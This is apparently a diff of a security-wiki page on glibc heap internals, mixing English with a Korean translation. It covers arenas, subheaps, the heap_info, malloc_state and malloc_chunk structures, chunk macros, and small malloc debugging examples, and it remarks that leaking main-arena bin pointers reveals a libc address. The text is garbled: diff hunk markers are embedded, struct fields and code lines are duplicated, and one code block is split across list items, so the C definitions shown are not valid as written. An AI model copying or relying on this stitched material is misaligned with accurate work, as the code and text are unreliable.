요청된 **메모리가 임계값을 초과하면**, **`mmap`**이 요청된 메모리를 매핑하는 데 사용됩니다.
## Arenas
In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck.
**멀티스레드** 애플리케이션에서 힙 관리자는 충돌로 이어질 수 있는 **경쟁 조건**을 방지해야 합니다. 처음에는 **전역 뮤텍스**를 사용하여 한 번에 하나의 스레드만 힙에 접근할 수 있도록 했지만, 이는 뮤텍스에 의한 병목 현상으로 인해 **성능 문제**를 일으켰습니다.
To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas.
이를 해결하기 위해 ptmalloc2 힙 할당자는 "아레나"를 도입했습니다. 여기서 **각 아레나**는 **자체** 데이터 **구조**와 **뮤텍스**를 가진 **별도의 힙**으로 작용하여 여러 스레드가 서로 간섭하지 않고 힙 작업을 수행할 수 있도록 합니다. 단, 서로 다른 아레나를 사용할 경우에만 가능합니다.
The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention.
기본 "메인" 아레나는 단일 스레드 애플리케이션의 힙 작업을 처리합니다. **새 스레드**가 추가되면, 힙 관리자는 **경쟁을 줄이기 위해** 이들에게 **보조 아레나**를 할당합니다. 먼저 각 새 스레드를 사용되지 않는 아레나에 연결하려고 시도하며, 필요할 경우 새 아레나를 생성합니다. 32비트 시스템의 경우 CPU 코어 수의 2배, 64비트 시스템의 경우 8배까지 제한이 있습니다. 제한에 도달하면 **스레드는 아레나를 공유해야 하며**, 이로 인해 잠재적인 경쟁이 발생할 수 있습니다.
Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations.
메인 아레나와 달리, `brk` 시스템 호출을 사용하여 확장되는 보조 아레나는 `mmap``mprotect`를 사용하여 "서브힙"을 생성하여 힙 동작을 시뮬레이션하고 멀티스레드 작업을 위한 메모리 관리의 유연성을 제공합니다.
### Subheaps
Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate:
서브힙은 멀티스레드 애플리케이션에서 보조 아레나를 위한 메모리 예비 공간으로 작용하여, 메인 힙과 별도로 자체 힙 영역을 성장시키고 관리할 수 있게 합니다. 서브힙이 초기 힙과 어떻게 다른지 및 작동 방식은 다음과 같습니다:
1. **Initial Heap vs. Subheaps**:
- The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call.
- Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region.
2. **Memory Reservation with `mmap`**:
- When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use.
- By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes.
3. **Gradual Expansion with `mprotect`**:
- The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet.
- To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed.
- Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation.
1. **초기 힙 vs. 서브힙**:
- 초기 힙은 프로그램의 바이너리 바로 뒤에 위치하며, `sbrk` 시스템 호출을 사용하여 확장됩니다.
- 보조 아레나에서 사용되는 서브힙은 지정된 메모리 영역을 매핑하는 시스템 호출인 `mmap`을 통해 생성됩니다.
2. **`mmap`을 통한 메모리 예약**:
- 힙 관리자가 서브힙을 생성할 때, `mmap`을 통해 큰 메모리 블록을 예약합니다. 이 예약은 즉시 메모리를 할당하지 않으며, 다른 시스템 프로세스나 할당이 사용하지 않아야 할 영역을 지정하는 것입니다.
- 기본적으로 서브힙의 예약 크기는 32비트 프로세스의 경우 1MB, 64비트 프로세스의 경우 64MB입니다.
3. **`mprotect`를 통한 점진적 확장**:
- 예약된 메모리 영역은 처음에 `PROT_NONE`으로 표시되어, 커널이 이 공간에 물리적 메모리를 할당할 필요가 없음을 나타냅니다.
- 서브힙을 "확장"하기 위해, 힙 관리자는 `mprotect`를 사용하여 페이지 권한을 `PROT_NONE`에서 `PROT_READ | PROT_WRITE`로 변경하여 커널이 이전에 예약된 주소에 물리적 메모리를 할당하도록 유도합니다. 이 단계별 접근 방식은 서브힙이 필요에 따라 확장될 수 있도록 합니다.
- 서브힙이 모두 소진되면, 힙 관리자는 새 서브힙을 생성하여 할당을 계속합니다.
### heap_info <a href="#heap_info" id="heap_info"></a>
This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info.
이 구조체는 힙의 관련 정보를 할당합니다. 또한, 추가 할당 후 힙 메모리가 연속적이지 않을 수 있으며, 이 구조체는 그 정보를 저장합니다.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
typedef struct _heap_info
{
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
```
### malloc_state
**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\
Its important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\
In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**.
**각 힙** (주 아레나 또는 다른 스레드 아레나)은 **`malloc_state` 구조체를 가집니다.**\
**주 아레나 `malloc_state`** 구조체는 **libc의 전역 변수**라는 점에 유의하는 것이 중요합니다 (따라서 libc 메모리 공간에 위치합니다).\
스레드의 힙에 있는 **`malloc_state`** 구조체는 **자신의 스레드 "힙" 내부에** 위치합니다.
There some interesting things to note from this structure (see C code below):
이 구조체에서 주목할 만한 몇 가지 흥미로운 점이 있습니다 (아래 C 코드를 참조):
- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time
- Flags:
- `__libc_lock_define (, mutex);`는 이 힙의 구조체에 한 번에 1개의 스레드만 접근하도록 보장하기 위해 존재합니다.
- 플래그:
- ```c
#define NONCONTIGUOUS_BIT (2U)
- ```c
#define NONCONTIGUOUS_BIT (2U)
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used)
- Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**.
- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas
- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space.
- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here.
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- `mchunkptr bins[NBINS * 2 - 2];`는 **작고, 크고, 정렬되지 않은 **bins**의 **첫 번째 및 마지막 청크**에 대한 **포인터**를 포함합니다 (인덱스 0이 사용되지 않기 때문에 -2입니다).
- 따라서 이러한 bins의 **첫 번째 청크**는 이 구조체에 대한 **역방향 포인터**를 가지며, **마지막 청크**는 이 구조체에 대한 **정방향 포인터**를 가집니다. 이는 기본적으로 **주 아레나에서 이러한 주소를 l**eak할 수 있다면** libc의 구조체에 대한 포인터를 가지게 된다는 것을 의미합니다.
- 구조체 `struct malloc_state *next;``struct malloc_state *next_free;`는 아레나의 연결 리스트입니다.
- `top` 청크는 마지막 "청크"로, 기본적으로 **모든 힙 남은 공간**입니다. top 청크가 "비어" 있으면 힙이 완전히 사용되며 더 많은 공간을 요청해야 합니다.
- `last reminder` 청크는 정확한 크기의 청크가 사용 가능하지 않을 때 발생하며, 따라서 더 큰 청크가 분할되고 남은 부분의 포인터가 여기에 배치됩니다.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Flags (formerly in max_fast). */
int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
```
### malloc_chunk
This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks.
이 구조체는 특정 메모리 청크를 나타냅니다. 다양한 필드는 할당된 청크와 할당되지 않은 청크에 대해 다른 의미를 가집니다.
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
};
typedef struct malloc_chunk* mchunkptr;
```
As commented previously, these chunks also have some metadata, very good represented in this image:
앞서 언급했듯이, 이러한 청크는 메타데이터를 포함하고 있으며, 이는 이 이미지에서 잘 나타납니다:
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate:
메타데이터는 일반적으로 0x08B로, 마지막 3비트를 사용하여 현재 청크 크기를 나타냅니다:
- `A`: If 1 it comes from a subheap, if 0 it's in the main arena
- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap
- `P`: If 1, the previous chunk is in use
- `A`: 1이면 서브 힙에서 온 것이고, 0이면 메인 아레나에 있습니다.
- `M`: 1이면 이 청크는 mmap으로 할당된 공간의 일부이며 힙의 일부가 아닙니다.
- `P`: 1이면 이전 청크가 사용 중입니다.
Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated).
그 다음은 사용자 데이터 공간이며, 마지막으로 청크가 사용 가능할 때 이전 청크 크기를 나타내기 위해 0x08B가 있습니다(또는 할당될 때 사용자 데이터를 저장하기 위해).
Moreover, when available, the user data is used to contain also some data:
또한, 사용 가능할 때 사용자 데이터는 다음과 같은 데이터를 포함하는 데 사용됩니다:
- **`fd`**: Pointer to the next chunk
- **`bk`**: Pointer to the previous chunk
- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself
- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself
- **`fd`**: 다음 청크에 대한 포인터
- **`bk`**: 이전 청크에 대한 포인터
- **`fd_nextsize`**: 리스트에서 자신보다 작은 첫 번째 청크에 대한 포인터
- **`bk_nextsize`:** 리스트에서 자신보다 큰 첫 번째 청크에 대한 포인터
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
> [!NOTE]
> Note how liking the list this way prevents the need to having an array where every single chunk is being registered.
> 이렇게 리스트를 연결하는 방식이 모든 청크가 등록되는 배열이 필요하지 않도록 합니다.
### Chunk Pointers
When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\
For these conversions these functions are used:
### 청크 포인터
malloc이 사용될 때, 쓸 수 있는 내용에 대한 포인터가 반환됩니다(헤더 바로 뒤). 그러나 청크를 관리할 때는 헤더(메타데이터)의 시작에 대한 포인터가 필요합니다.\
이러한 변환을 위해 다음 함수들이 사용됩니다:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -207,13 +200,11 @@ For these conversions these functions are used:
/* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
```
### 정렬 및 최소 크기
### Alignment & min size
The pointer to the chunk and `0x0f` must be 0.
청크에 대한 포인터와 `0x0f`는 0이어야 합니다.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0.
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
#define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
/* pad request bytes into a usable size -- internal version */
/* Note: This must be a macro that evaluates to a compile time constant
if passed a literal constant. */
if passed a literal constant. */
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Check if REQ overflows when padded and aligned and if the resulting
value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */
value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */
static inline size_t
checked_request2size (size_t req) __nonnull (1)
{
if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0;
if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0;
/* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed
a constant literal. */
if (__glibc_unlikely (mtag_enabled))
{
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm ("");
/* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed
a constant literal. */
if (__glibc_unlikely (mtag_enabled))
{
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm ("");
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1);
}
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1);
}
return request2size (req);
return request2size (req);
}
```
총 필요한 공간을 계산할 때 `SIZE_SZ`는 1회만 추가됩니다. 이는 `prev_size` 필드가 데이터를 저장하는 데 사용될 수 있기 때문에 초기 헤더만 필요합니다.
Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed.
### 청크 데이터 가져오기 및 메타데이터 변경
### Get Chunk data and alter metadata
These functions work by receiving a pointer to a chunk and are useful to check/set metadata:
- Check chunk flags
이 함수들은 청크에 대한 포인터를 받아 메타데이터를 확인/설정하는 데 유용합니다:
- 청크 플래그 확인
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* Check for chunk from main arena. */
@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
```
- Sizes and pointers to other chunks
- 다른 청크에 대한 크기 및 포인터
```c
/*
Bits to mask off when extracting size
Bits to mask off when extracting size
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
- Insue bit
- 인수 비트
```c
/* extract p's inuse bit */
#define inuse(p) \
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
/* set/clear chunk as being inuse without otherwise disturbing */
#define set_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
#define clear_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
#define set_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
- Set head and footer (when chunk nos in use
- 헤드 및 푸터 설정 (청크 번호 사용 시)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
- Get the size of the real usable data inside the chunk
- 청크 내부의 실제 사용 가능한 데이터 크기를 가져옵니다.
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
/* This is the size of the real usable data in the chunk. Not valid for
dumped heap chunks. */
dumped heap chunks. */
#define memsize(p) \
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
/* If memory tagging is enabled the layout changes to accommodate the granule
size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */
size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */
_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
"memory tagging is not supported with large granule.");
"memory tagging is not supported with large granule.");
static __always_inline void *
tag_new_usable (void *ptr)
{
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
}
```
## 예제
## Examples
### Quick Heap Example
Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64:
### 빠른 힙 예제
[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html)에서 가져온 빠른 힙 예제이지만 arm64에서:
```c
#include <stdio.h>
#include <stdlib.h>
@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http
void main(void)
{
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
Set a breakpoint at the end of the main function and lets find out where the information was stored:
메인 함수의 끝에 중단점을 설정하고 정보가 저장된 위치를 찾아봅시다:
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`.
The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number.
문자열 panda가 `0xaaaaaaac12a0`에 저장된 것을 확인할 수 있습니다 (이는 `x0` 내의 malloc에 의해 응답으로 제공된 주소입니다). 0x10 바이트 이전을 확인하면 `0x0`**이전 청크가 사용되지 않음** (길이 0)을 나타내고 이 청크의 길이는 `0x21`임을 알 수 있습니다.
예약된 추가 공간 (0x21-0x10=0x11)은 **추가된 헤더** (0x10)에서 발생하며 0x1은 0x21B가 예약되었다는 의미가 아니라 현재 헤더의 길이의 마지막 3비트가 특별한 의미를 가집니다. 길이는 항상 16바이트 정렬(64비트 머신에서)되므로 이 비트는 실제로 길이 숫자에 의해 사용되지 않습니다.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
```
### Multithreading Example
### 멀티스레딩 예제
<details>
<summary>Multithread</summary>
<summary>멀티스레드</summary>
```c
#include <stdio.h>
#include <stdlib.h>
@ -460,56 +435,55 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1
void* threadFuncMalloc(void* arg) {
printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
free(addr);
printf("After free in thread 1\n");
printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
free(addr);
printf("After free in thread 1\n");
}
void* threadFuncNoMalloc(void* arg) {
printf("Hello from thread 2\n");
printf("Hello from thread 2\n");
}
int main() {
pthread_t t1;
void* s;
int ret;
char* addr;
pthread_t t1;
void* s;
int ret;
char* addr;
printf("Before creating thread 1\n");
getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar();
printf("Before creating thread 1\n");
getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar();
printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before exit\n");
getchar();
printf("Before exit\n");
getchar();
return 0;
return 0;
}
```
</details>
Debugging the previous example it's possible to see how at the beginning there is only 1 arena:
이전 예제를 디버깅하면 처음에 1개의 아레나만 있는 것을 볼 수 있습니다:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Then, after calling the first thread, the one that calls malloc, a new arena is created:
그런 다음, 첫 번째 스레드를 호출한 후, malloc을 호출하는 스레드에서 새로운 아레나가 생성됩니다:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
and inside of it some chunks can be found:
그 안에는 몇 개의 청크가 있습니다:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Memory Allocations/Frees
Check what are the bins and how are they organized and how memory is allocated and freed in:
Bins가 무엇인지, 어떻게 구성되어 있는지, 메모리가 어떻게 할당되고 해제되는지 확인하세요:
{{#ref}}
bins-and-memory-allocations.md
@ -517,7 +491,7 @@ bins-and-memory-allocations.md
## Heap Functions Security Checks
Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted:
힙과 관련된 함수는 작업을 수행하기 전에 특정 검사를 수행하여 힙이 손상되지 않았는지 확인합니다:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md

View File

@ -2,60 +2,55 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread.
